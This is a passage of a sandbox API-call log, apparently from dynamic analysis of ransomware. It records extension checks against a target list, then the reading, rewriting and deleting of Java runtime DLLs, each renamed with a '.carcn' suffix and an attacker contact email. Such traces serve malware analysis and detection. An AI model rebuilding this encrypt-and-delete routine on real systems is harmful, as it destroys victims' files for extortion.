lpString2=".dll") returned 1 [0298.956] lstrlenW (lpString=".docx") returned 5 [0298.956] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0298.956] lstrlenW (lpString=".pdf") returned 4 [0298.956] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.956] lstrlenW (lpString=".xls") returned 4 [0298.956] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.956] lstrlenW (lpString=".xlsx") returned 5 [0298.957] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0298.957] lstrlenW (lpString=".ppt") returned 4 [0298.957] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.957] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0298.957] lstrlenW (lpString=".zip") returned 4 [0298.957] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.957] lstrlenW (lpString=".rar") returned 4 [0298.957] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.957] lstrlenW (lpString=".bz2") returned 4 [0298.957] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.957] lstrlenW (lpString=".7z") returned 3 [0298.957] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.957] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0298.957] lstrlenW (lpString=".dbf") returned 4 [0298.957] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.957] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0298.957] lstrlenW (lpString=".1cd") returned 4 [0298.957] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.957] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0298.957] lstrlenW (lpString=".jpg") returned 4 [0298.957] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.957] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0298.957] lstrlenW (lpString="dt_socket.dll") returned 13 [0298.958] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0298.958] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=24640) returned 1 [0298.958] CloseHandle (hObject=0x398) returned 1 [0298.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 0x20 [0298.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.958] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0298.959] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.959] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.959] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0298.959] GetLastError () returned 0x0 [0298.959] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x6040, lpOverlapped=0x0) returned 1 [0298.971] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x6050, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x6050, lpOverlapped=0x0) returned 1 [0298.972] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.972] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xee, lpOverlapped=0x0) returned 1 [0298.972] SetEndOfFile (hFile=0x384) returned 1 [0298.972] CloseHandle (hObject=0x384) returned 1 [0298.973] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.973] SetEndOfFile (hFile=0x398) returned 1 [0298.974] CloseHandle (hObject=0x398) returned 1 [0298.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0298.974] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 1 [0298.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0298.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0298.974] lstrlenW (lpString=".doc") returned 4 [0298.974] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.974] lstrlenW (lpString=".docx") returned 5 [0298.974] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0298.974] lstrlenW (lpString=".pdf") returned 4 [0298.974] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.975] lstrlenW (lpString=".xls") returned 4 [0298.975] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.975] lstrlenW (lpString=".xlsx") returned 5 [0298.975] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0298.975] lstrlenW (lpString=".ppt") returned 4 [0298.975] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0298.975] lstrlenW (lpString=".zip") returned 4 [0298.975] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.975] lstrlenW (lpString=".rar") returned 4 [0298.975] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.975] lstrlenW (lpString=".bz2") returned 4 [0298.975] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.975] lstrlenW (lpString=".7z") returned 3 [0298.975] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0298.975] lstrlenW (lpString=".dbf") returned 4 [0298.975] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0298.975] lstrlenW (lpString=".1cd") returned 4 [0298.975] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0298.975] lstrlenW (lpString=".jpg") returned 4 [0298.975] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0298.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0298.975] lstrlenW (lpString=".doc") returned 4 [0298.976] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.976] lstrlenW (lpString=".docx") returned 5 [0298.976] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0298.976] lstrlenW (lpString=".pdf") returned 4 [0298.976] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.976] lstrlenW (lpString=".xls") returned 4 [0298.976] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.976] lstrlenW (lpString=".xlsx") returned 5 [0298.976] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0298.976] lstrlenW (lpString=".ppt") returned 4 [0298.976] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0298.976] lstrlenW (lpString=".zip") returned 4 [0298.976] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.976] lstrlenW (lpString=".rar") returned 4 [0298.976] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.976] lstrlenW (lpString=".bz2") returned 4 [0298.976] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.976] lstrlenW (lpString=".7z") returned 3 [0298.977] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0298.977] lstrlenW (lpString=".dbf") returned 4 [0298.977] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0298.977] lstrlenW (lpString=".1cd") returned 4 [0298.977] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0298.977] lstrlenW (lpString=".jpg") returned 4 [0298.977] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.977] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0298.977] lstrlenW (lpString="eula.dll") returned 8 [0298.977] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0298.978] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=136256) returned 1 [0298.978] CloseHandle (hObject=0x398) returned 1 [0298.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 0x20 [0298.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.978] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0298.978] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.978] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.978] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0298.979] GetLastError () returned 0x0 [0298.979] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x21440, lpOverlapped=0x0) returned 1 [0299.437] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x21450, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x21450, lpOverlapped=0x0) returned 1 [0299.609] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.609] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe4, lpOverlapped=0x0) returned 1 [0299.609] SetEndOfFile (hFile=0x384) returned 1 [0299.651] CloseHandle (hObject=0x384) returned 1 [0299.651] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.651] SetEndOfFile (hFile=0x398) returned 1 [0299.653] CloseHandle (hObject=0x398) returned 1 [0299.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0299.654] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 1 [0299.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0299.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0299.655] lstrlenW (lpString=".doc") returned 4 [0299.655] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.655] lstrlenW (lpString=".docx") returned 5 [0299.655] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0299.655] lstrlenW (lpString=".pdf") returned 4 [0299.655] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.655] lstrlenW (lpString=".xls") returned 4 [0299.655] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.655] lstrlenW (lpString=".xlsx") returned 5 [0299.655] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0299.655] lstrlenW (lpString=".ppt") returned 4 [0299.655] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0299.655] lstrlenW (lpString=".zip") returned 4 [0299.655] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.655] lstrlenW (lpString=".rar") returned 4 [0299.655] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.655] lstrlenW (lpString=".bz2") returned 4 [0299.655] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.655] lstrlenW (lpString=".7z") returned 3 [0299.655] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0299.655] lstrlenW (lpString=".dbf") returned 4 [0299.655] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0299.656] lstrlenW (lpString=".1cd") returned 4 [0299.656] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0299.656] lstrlenW (lpString=".jpg") returned 4 [0299.656] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0299.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0299.656] lstrlenW (lpString=".doc") returned 4 [0299.656] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.656] lstrlenW (lpString=".docx") returned 5 [0299.656] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0299.656] lstrlenW (lpString=".pdf") returned 4 [0299.656] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.656] lstrlenW (lpString=".xls") returned 4 [0299.656] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.656] lstrlenW (lpString=".xlsx") returned 5 [0299.656] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0299.656] lstrlenW (lpString=".ppt") returned 4 [0299.656] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0299.656] lstrlenW (lpString=".zip") returned 4 [0299.656] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.656] lstrlenW (lpString=".rar") returned 4 [0299.656] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.657] lstrlenW (lpString=".bz2") returned 4 [0299.657] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.657] lstrlenW (lpString=".7z") returned 3 [0299.657] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.657] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0299.657] lstrlenW (lpString=".dbf") returned 4 [0299.657] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.657] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0299.657] lstrlenW (lpString=".1cd") returned 4 [0299.657] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.657] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0299.657] lstrlenW (lpString=".jpg") returned 4 [0299.657] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.657] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0299.657] lstrlenW (lpString="fontmanager.dll") returned 15 [0299.657] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0299.659] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=274496) returned 1 [0299.659] CloseHandle (hObject=0x398) returned 1 [0299.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 0x20 [0299.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.659] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0299.659] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.660] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.660] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0299.660] GetLastError () returned 0x0 [0299.660] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x43040, lpOverlapped=0x0) returned 1 [0299.781] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x43050, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x43050, lpOverlapped=0x0) returned 1 [0299.788] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.788] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xf2, lpOverlapped=0x0) returned 1 [0299.789] SetEndOfFile (hFile=0x384) returned 1 [0299.789] CloseHandle (hObject=0x384) returned 1 [0299.789] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.789] SetEndOfFile (hFile=0x398) returned 1 [0299.791] CloseHandle (hObject=0x398) returned 1 [0299.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0299.792] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 1 [0299.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0299.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0299.792] lstrlenW (lpString=".doc") returned 4 [0299.792] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.792] lstrlenW (lpString=".docx") returned 5 [0299.792] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0299.792] lstrlenW (lpString=".pdf") returned 4 [0299.792] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.792] lstrlenW (lpString=".xls") returned 4 [0299.792] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.792] lstrlenW (lpString=".xlsx") returned 5 [0299.792] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0299.792] lstrlenW (lpString=".ppt") returned 4 [0299.792] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0299.792] lstrlenW (lpString=".zip") returned 4 [0299.792] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.792] lstrlenW (lpString=".rar") returned 4 [0299.792] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.792] lstrlenW (lpString=".bz2") returned 4 [0299.792] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.792] lstrlenW (lpString=".7z") returned 3 [0299.792] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0299.792] lstrlenW (lpString=".dbf") returned 4 [0299.793] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0299.793] lstrlenW (lpString=".1cd") returned 4 [0299.793] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0299.793] lstrlenW (lpString=".jpg") returned 4 [0299.793] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0299.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0299.793] lstrlenW (lpString=".doc") returned 4 [0299.793] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.793] lstrlenW (lpString=".docx") returned 5 [0299.793] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0299.793] lstrlenW (lpString=".pdf") returned 4 [0299.793] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.793] lstrlenW (lpString=".xls") returned 4 [0299.793] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.793] lstrlenW (lpString=".xlsx") returned 5 [0299.793] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0299.793] lstrlenW (lpString=".ppt") returned 4 [0299.793] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0299.793] lstrlenW (lpString=".zip") returned 4 [0299.793] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.793] lstrlenW (lpString=".rar") returned 4 [0299.793] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.793] lstrlenW (lpString=".bz2") returned 4 [0299.793] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.793] lstrlenW (lpString=".7z") returned 3 [0299.793] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0299.793] lstrlenW (lpString=".dbf") returned 4 [0299.793] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0299.793] lstrlenW (lpString=".1cd") returned 4 [0299.793] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0299.793] lstrlenW (lpString=".jpg") returned 4 [0299.793] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.794] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 